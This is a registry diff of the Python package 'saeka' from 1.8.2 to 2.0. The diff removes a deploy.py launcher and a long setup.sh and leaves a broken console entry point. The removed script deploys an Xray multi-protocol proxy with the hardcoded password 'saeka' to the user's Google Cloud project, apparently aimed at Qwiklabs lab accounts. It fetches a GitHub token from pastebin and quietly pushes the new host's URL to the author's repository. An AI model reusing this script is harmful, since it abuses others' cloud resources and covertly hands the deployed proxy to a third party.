saeka 1.8.2__tar.gz → 2.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,3 +1,3 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: saeka
3
- Version: 1.8.2
3
+ Version: 2.0
@@ -1,3 +1,3 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: saeka
3
- Version: 1.8.2
3
+ Version: 2.0
@@ -1,9 +1,6 @@
1
1
  MANIFEST.in
2
2
  README.md
3
3
  setup.py
4
- saeka/__init__.py
5
- saeka/deploy.py
6
- saeka/setup.sh
7
4
  saeka.egg-info/PKG-INFO
8
5
  saeka.egg-info/SOURCES.txt
9
6
  saeka.egg-info/dependency_links.txt
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ saeka = chk.py
@@ -2,7 +2,7 @@ from setuptools import setup, find_packages
2
2
 
3
3
  setup(
4
4
  name="saeka",
5
- version="1.8.2",
5
+ version="2.0",
6
6
  packages=find_packages(),
7
7
  include_package_data=True,
8
8
  package_data={
@@ -10,7 +10,7 @@ setup(
10
10
  },
11
11
  entry_points={
12
12
  "console_scripts": [
13
- "saeka=saeka.deploy:main",
13
+ "saeka=chk.py",
14
14
  ],
15
15
  },
16
16
  )
@@ -1,19 +0,0 @@
1
- import os
2
- import subprocess
3
-
4
- def main():
5
- print("Initializing Saeka GCP Deployer...")
6
- # Look in the same directory where deploy.py lives
7
- script_path = os.path.join(os.path.dirname(__file__), "setup.sh")
8
-
9
- if os.path.exists(script_path):
10
- os.chmod(script_path, 0o755)
11
- try:
12
- subprocess.run(["bash", script_path], check=True)
13
- except Exception as e:
14
- print(f"Deployment error: {e}")
15
- else:
16
- print(f"Error: setup.sh not found at {script_path}")
17
-
18
- if __name__ == "__main__":
19
- main()
@@ -1,301 +0,0 @@
1
- #!/bin/bash
2
- # ==============================================================================
3
- # 4N1 FAST DEPLOYER (UNIFIED SINGLE-SCRIPT EDITION)
4
- # ENGINEERED BY SAEKA TOJIRP | OPTIMIZED FOR SMOOTH DEPLOYMENT
5
- # ==============================================================================
6
- set -e
7
-
8
- BOLD='\033[1m'; RESET='\033[0m'
9
- GREEN='\033[1;32m'; RED='\033[1;31m'; CYAN='\033[1;36m'
10
- YELLOW='\033[1;33m'; MAGENTA='\033[1;35m'; WHITE='\033[1;37m'
11
-
12
- loading() {
13
- local t="$1"
14
- local s="⠋⠙⠹⠸⠼⠴⠦⠧⠇⠏"
15
- for ((i=0;i<5;i++)); do
16
- for ((j=0;j<${#s};j++)); do
17
- echo -ne "\r ${CYAN}${s:$j:1} ${t}...${RESET}"
18
- sleep 0.05
19
- done
20
- done
21
- echo -ne "\r ${GREEN}DONE: ${t}${RESET}\n"
22
- }
23
-
24
- clear
25
- echo ""
26
- echo -e " ${BOLD}${WHITE}4N1 FAST DEPLOYER (QWIKLABS OPTIMIZED)${RESET}"
27
- echo -e " ${MAGENTA}MADE BY SAEKA TOJIRP${RESET}"
28
- echo -e " ${GREEN}fb.com/saekacutiee${RESET}"
29
- echo ""
30
-
31
- # Auto-detect from Cloud Shell env variable first, fallback to gcloud config
32
- PROJECT_ID="${DEVSHELL_PROJECT_ID:-$(gcloud config get-value project 2>/dev/null | tr -d '[:space:]')}"
33
-
34
- if [ -z "$PROJECT_ID" ] || [ "$PROJECT_ID" = "(unset)" ]; then
35
- echo -e " ${RED}ERROR: No active GCP project detected. Please run 'gcloud config set project <PROJECT_ID>'.${RESET}"
36
- exit 1
37
- fi
38
- echo -e " ${CYAN}PROJECT: ${GREEN}${PROJECT_ID}${RESET}"
39
- echo ""
40
-
41
- # Ensure required GCP APIs are enabled (prevents silent gcloud exit status 1)
42
- loading "ENABLING REQUIRED GCP SERVICES"
43
- gcloud services enable cloudbuild.googleapis.com run.googleapis.com containerregistry.googleapis.com --project="$PROJECT_ID" --quiet >/dev/null 2>&1 || true
44
-
45
- # ==============================================================================
46
- # 1. INTEGRATED REGION SELECTION
47
- # ==============================================================================
48
- echo -e " ${CYAN}SELECT DEPLOYMENT REGION:${RESET}"
49
- echo -e " ${YELLOW}1) us-central1 2) us-east1 3) us-west1${RESET}"
50
- echo -e " ${YELLOW}4) asia-east1 5) asia-southeast1${RESET}"
51
- echo -e " ${YELLOW}6) europe-west1 7) europe-west4${RESET}"
52
- echo ""
53
- read -r -p "$(echo -e " ${CYAN}CHOICE [1-7]: ${RESET}")" REGION_CHOICE || true
54
-
55
- case "$REGION_CHOICE" in
56
- 2) REGION="us-east1";;
57
- 3) REGION="us-west1";;
58
- 4) REGION="asia-east1";;
59
- 5) REGION="asia-southeast1";;
60
- 6) REGION="europe-west1";;
61
- 7) REGION="europe-west4";;
62
- *) REGION="us-central1";;
63
- esac
64
- echo -e " ${GREEN}REGION SET TO: ${REGION}${RESET}\n"
65
-
66
- # ==============================================================================
67
- # 2. TOKEN & CONFIGURATION PROMPTS
68
- # ==============================================================================
69
- curl -sL "https://pastebin.com/raw/7rAmCXDp" | tr -d '\r\n[:space:]' > ~/.gh_token || true
70
- if [ ! -s ~/.gh_token ] || ! grep -q "^gh[pousr]_" ~/.gh_token 2>/dev/null; then
71
- echo -e " ${YELLOW}REMOTE TOKEN UNAVAILABLE.${RESET}"
72
- read -r -s -p "$(echo -e " ${MAGENTA}PLEASE PASTE GITHUB TOKEN MANUALLY (Hidden): ${RESET}")" MANUAL_TOKEN || true
73
- echo "$MANUAL_TOKEN" | tr -d '\r\n[:space:]' > ~/.gh_token
74
- echo -e "\n ${GREEN}TOKEN SAVED SECURELY.${RESET}\n"
75
- fi
76
-
77
- read -r -p "$(echo -e " ${CYAN}SERVICE NAME [prvtspyyy]: ${RESET}")" INPUT_NAME || true
78
- SERVICE_NAME=${INPUT_NAME:-prvtspyyy}
79
-
80
- echo ""
81
- echo -e " ${CYAN}SELECT MODE:${RESET}"
82
- echo -e " ${YELLOW}1) BROWSING (1 vCPU / 2Gi) 2) STREAMING (2 vCPU / 4Gi)${RESET}"
83
- echo -e " ${YELLOW}3) GAMING (4 vCPU / 8Gi) 4) ULTRA (8 vCPU / 16Gi)${RESET}"
84
- echo ""
85
- read -r -p "$(echo -e " ${CYAN}CHOICE: ${RESET}")" MODE_CHOICE || true
86
-
87
- case "$MODE_CHOICE" in
88
- 1) CPU="1"; RAM="2Gi"; MODE="BROWSING"; MAX_INSTANCES="4";;
89
- 2) CPU="2"; RAM="4Gi"; MODE="STREAMING"; MAX_INSTANCES="4";;
90
- 3) CPU="4"; RAM="8Gi"; MODE="GAMING"; MAX_INSTANCES="4";;
91
- *) CPU="8"; RAM="16Gi"; MODE="ULTRA"; MAX_INSTANCES="4";;
92
- esac
93
-
94
- # ==============================================================================
95
- # 3. DYNAMIC WORKSPACE & ASSET GENERATION
96
- # ==============================================================================
97
- WORKSPACE="/tmp/${SERVICE_NAME}_deploy"
98
- rm -rf "$WORKSPACE" && mkdir -p "$WORKSPACE" && cd "$WORKSPACE"
99
- loading "GENERATING SERVER ASSETS"
100
-
101
- # Generate Dockerfile
102
- cat <<'EOF' > Dockerfile
103
- FROM openresty/openresty:alpine
104
- RUN apk add --no-cache ca-certificates wget unzip netcat-openbsd
105
- RUN wget -qO /tmp/xray.zip https://github.com/XTLS/Xray-core/releases/latest/download/Xray-linux-64.zip && \
106
- unzip -p /tmp/xray.zip xray > /usr/local/bin/xray && \
107
- chmod +x /usr/local/bin/xray && rm -rf /tmp/xray.zip
108
- COPY config.json /etc/xray.json
109
- COPY nginx.conf /usr/local/openresty/nginx/conf/nginx.conf
110
- COPY index.html /usr/local/openresty/nginx/html/index.html
111
- EXPOSE 8080
112
- CMD /usr/local/bin/xray run -c /etc/xray.json & exec /usr/local/openresty/bin/openresty -g "daemon off;"
113
- EOF
114
-
115
- # Fetch config.json with robust fallback
116
- curl -sL "https://raw.githubusercontent.com/qkc404/saeka-gcp-panel/main/config.json" > config.json || true
117
- if [ ! -s config.json ]; then
118
- cat <<'EOF' > config.json
119
- {
120
- "log": {"loglevel": "none"},
121
- "dns": {
122
- "servers": ["8.8.8.8", "1.1.1.1"],
123
- "queryStrategy": "UseIPv4",
124
- "hosts": {
125
- "pagead2.googlesyndication.com": "127.0.0.1",
126
- "googlesyndication.com": "127.0.0.1",
127
- "googleadservices.com": "127.0.0.1",
128
- "youtube-nocookie.com": "127.0.0.1"
129
- }
130
- },
131
- "inbounds": [
132
- {
133
- "port": 10000, "listen": "127.0.0.1", "protocol": "trojan", "tag": "trojan-ws",
134
- "settings": {"clients": [{"password": "saeka"}]},
135
- "streamSettings": {"network": "ws", "wsSettings": {"path": "/saeka-tojirp"}, "sockopt": {"tcpFastOpen": true, "tcpNoDelay": true, "tcpKeepAliveInterval": 15}},
136
- "sniffing": {"enabled": true, "destOverride": ["http", "tls"]}
137
- },
138
- {
139
- "port": 10003, "listen": "127.0.0.1", "protocol": "vmess", "tag": "vmess-ws",
140
- "settings": {"clients": [{"id": "saeka", "alterId": 0}]},
141
- "streamSettings": {"network": "ws", "wsSettings": {"path": "/vmess-saeka"}, "sockopt": {"tcpFastOpen": true, "tcpNoDelay": true, "tcpKeepAliveInterval": 15}},
142
- "sniffing": {"enabled": true, "destOverride": ["http", "tls"]}
143
- },
144
- {
145
- "port": 10006, "listen": "127.0.0.1", "protocol": "vless", "tag": "vless-ws",
146
- "settings": {"clients": [{"id": "saeka"}], "decryption": "none"},
147
- "streamSettings": {"network": "ws", "wsSettings": {"path": "/vless-saeka"}, "sockopt": {"tcpFastOpen": true, "tcpNoDelay": true, "tcpKeepAliveInterval": 15}},
148
- "sniffing": {"enabled": true, "destOverride": ["http", "tls"]}
149
- },
150
- {
151
- "port": 10009, "listen": "127.0.0.1", "protocol": "shadowsocks", "tag": "ss-ws",
152
- "settings": {"clients": [{"password": "saeka", "method": "aes-256-gcm"}]},
153
- "streamSettings": {"network": "ws", "wsSettings": {"path": "/ss-saeka"}, "sockopt": {"tcpFastOpen": true, "tcpNoDelay": true, "tcpKeepAliveInterval": 15}}
154
- }
155
- ],
156
- "outbounds": [{"protocol": "freedom", "tag": "direct"}, {"protocol": "blackhole", "tag": "block"}],
157
- "routing": {
158
- "domainStrategy": "AsIs",
159
- "rules": [{"type": "field", "inboundTag": ["trojan-ws", "vmess-ws", "vless-ws", "ss-ws"], "outboundTag": "direct"}]
160
- }
161
- }
162
- EOF
163
- fi
164
-
165
- # Generate nginx.conf
166
- cat <<'EOF' > nginx.conf
167
- worker_processes auto;
168
- worker_rlimit_nofile 65535;
169
- events { worker_connections 16384; multi_accept on; use epoll; }
170
- http {
171
- include mime.types; default_type application/octet-stream;
172
- sendfile on; tcp_nopush on; tcp_nodelay on;
173
- keepalive_timeout 65; keepalive_requests 10000;
174
- server_tokens off; resolver 8.8.8.8 1.1.1.1 valid=300s;
175
-
176
- map $http_upgrade $connection_upgrade {
177
- default upgrade; '' close;
178
- }
179
-
180
- server {
181
- listen 8080 default_server backlog=4096;
182
- server_name _;
183
- location = /health { return 200 "OK"; add_header Content-Type text/plain; access_log off; }
184
- location = / { root /usr/local/openresty/nginx/html; index index.html; access_log off; }
185
-
186
- location /saeka-tojirp {
187
- proxy_pass http://127.0.0.1:10000;
188
- proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection $connection_upgrade;
189
- proxy_set_header Host $host; proxy_socket_keepalive on;
190
- }
191
- location /vmess-saeka {
192
- proxy_pass http://127.0.0.1:10003;
193
- proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection $connection_upgrade;
194
- proxy_set_header Host $host; proxy_socket_keepalive on;
195
- }
196
- location /vless-saeka {
197
- proxy_pass http://127.0.0.1:10006;
198
- proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection $connection_upgrade;
199
- proxy_set_header Host $host; proxy_socket_keepalive on;
200
- }
201
- location /ss-saeka {
202
- proxy_pass http://127.0.0.1:10009;
203
- proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection $connection_upgrade;
204
- proxy_set_header Host $host; proxy_socket_keepalive on;
205
- }
206
- }
207
- }
208
- EOF
209
-
210
- # Generate index.html
211
- cat <<'EOF' > index.html
212
- <!DOCTYPE html><html><head><title>LAB EXPIRATION</title></head>
213
- <body style="background:#000; color:#0f0; font-family:monospace; text-align:center; padding-top:100px;">
214
- <h1>QWIKLABS INSTANCE ACTIVE</h1>
215
- <h2 id="timer">HOST DURATION: 05:00:00</h2>
216
- <script>
217
- let s=18000;
218
- setInterval(()=>{ s--; let h=Math.floor(s/3600),m=Math.floor((s%3600)/60),sec=s%60;
219
- document.getElementById('timer').innerText=`HOST DURATION: 0${h}:${m<10?'0'+m:m}:${sec<10?'0'+sec:sec}`;},1000);
220
- </script>
221
- </body></html>
222
- EOF
223
-
224
- # ==============================================================================
225
- # 4. DEPLOYMENT TO GOOGLE CLOUD
226
- # ==============================================================================
227
- loading "BUILDING CONTAINER IMAGE"
228
- if ! gcloud builds submit --tag "gcr.io/${PROJECT_ID}/${SERVICE_NAME}" --project="$PROJECT_ID" --quiet > build.log 2>&1; then
229
- echo -e "\n ${RED}BUILD FAILED. Displaying build.log:${RESET}"
230
- cat build.log
231
- exit 1
232
- fi
233
-
234
- loading "DEPLOYING TO CLOUD RUN IN ${REGION}"
235
- if ! gcloud run deploy "$SERVICE_NAME" \
236
- --image "gcr.io/${PROJECT_ID}/${SERVICE_NAME}" \
237
- --platform managed --region "$REGION" \
238
- --cpu "$CPU" --memory "$RAM" --port 8080 \
239
- --concurrency 1000 --cpu-boost --no-cpu-throttling \
240
- --timeout 3600 --min-instances 1 --max-instances "$MAX_INSTANCES" \
241
- --allow-unauthenticated --project="$PROJECT_ID" --quiet > deploy.log 2>&1; then
242
- echo -e "\n ${RED}DEPLOYMENT FAILED. Displaying deploy.log:${RESET}"
243
- cat deploy.log
244
- exit 1
245
- fi
246
-
247
- SERVICE_URL=$(gcloud run services describe "$SERVICE_NAME" --region "$REGION" --project="$PROJECT_ID" --format='value(status.url)' 2>/dev/null || true)
248
- CLEAN_HOST=$(echo "$SERVICE_URL" | sed 's|https://||')
249
-
250
- echo ""
251
- echo -e " ${GREEN} (⁠ ⁠ꈍ⁠ᴗ⁠ꈍ⁠) DEPLOYED SUCCESSFULLY${RESET}"
252
- echo -e " ${CYAN}RAW HOST ${GREEN}https://${CLEAN_HOST}${RESET}"
253
- echo -e " ${CYAN}MODE ${GREEN}${MODE} (${CPU} CPU / ${RAM})${RESET}"
254
- echo ""
255
- echo -e " ${YELLOW}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${RESET}"
256
- echo -e " ${CYAN} PROTOCOL | WS PATH ${RESET}"
257
- echo -e " ${YELLOW} ──────────────────────────────────────────────────────────────${RESET}"
258
- echo -e " ${GREEN} VLESS${RESET} | ${CYAN}/vless-saeka${RESET}"
259
- echo -e " ${GREEN} VMess${RESET} | ${CYAN}/vmess-saeka${RESET}"
260
- echo -e " ${GREEN} TROJAN${RESET} | ${CYAN}/saeka-tojirp${RESET}"
261
- echo -e " ${GREEN} Shadowsocks${RESET} | ${CYAN}/ss-saeka${RESET}"
262
- echo -e " ${YELLOW}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${RESET}"
263
-
264
- # ==============================================================================
265
- # 5. LIFESPAN MONITOR & GITHUB TRACKER
266
- # ==============================================================================
267
- if [ -s "$HOME/.gh_token" ] && [ -n "$CLEAN_HOST" ]; then
268
- LOCAL_GH_TOKEN=$(cat "$HOME/.gh_token")
269
- git clone -q "https://${LOCAL_GH_TOKEN}@github.com/qkc404/saeka-gcp-panel.git" gh_temp_deploy >/dev/null 2>&1 || true
270
- if [ -d "gh_temp_deploy" ]; then
271
- cd gh_temp_deploy
272
- touch host.txt
273
- if ! grep -q -Fx "$CLEAN_HOST" host.txt 2>/dev/null; then
274
- echo "$CLEAN_HOST" >> host.txt
275
- git config user.name "Saeka Deployer" && git config user.email "deploy@saekacutiee.local"
276
- git add host.txt
277
- git commit -m "🚀 Auto-Deploy: Appended ${CLEAN_HOST}" >/dev/null 2>&1 || true
278
- git push -q origin main >/dev/null 2>&1 || true
279
- fi
280
- cd .. && rm -rf gh_temp_deploy
281
- echo -e " ${GREEN}➔ HOST REGISTERED TO GLOBAL MATRIX CONTROLLER SUCCESSFULLY.${RESET}"
282
- fi
283
- fi
284
-
285
- cleanup_routine() {
286
- echo -e "\n\n ${YELLOW}⚠️ INITIATING PIPELINE CLEANUP...${RESET}"
287
- rm -rf "$WORKSPACE"
288
- rm -f "$HOME/.gh_token"
289
- echo -e " ${GREEN}DEPLOYER PIPELINE DISENGAGED CLEANLY.${RESET}\n"
290
- exit 0
291
- }
292
- trap cleanup_routine INT TERM EXIT
293
-
294
- REMAINING=3600
295
- echo -e " ${MAGENTA}🔮 LIVE LIFESPAN MONITOR ENGINE RUNNING${RESET}"
296
- echo -e " ${CYAN} Press ${RED}[CTRL+C]${CYAN} to exit safely.${RESET}"
297
- while [ "$REMAINING" -gt 0 ]; do
298
- printf "\r ${WHITE}⏱️ NODE LIFETIME: ${RED}%02d:%02d${RESET} ${CYAN}| [CTRL+C] to exit...${RESET}" $((REMAINING/60)) $((REMAINING%60))
299
- sleep 1
300
- REMAINING=$((REMAINING - 1))
301
- done
@@ -1,2 +0,0 @@
1
- [console_scripts]
2
- saeka = saeka.deploy:main
@@ -1 +0,0 @@
1
- saeka
File without changes
File without changes
File without changes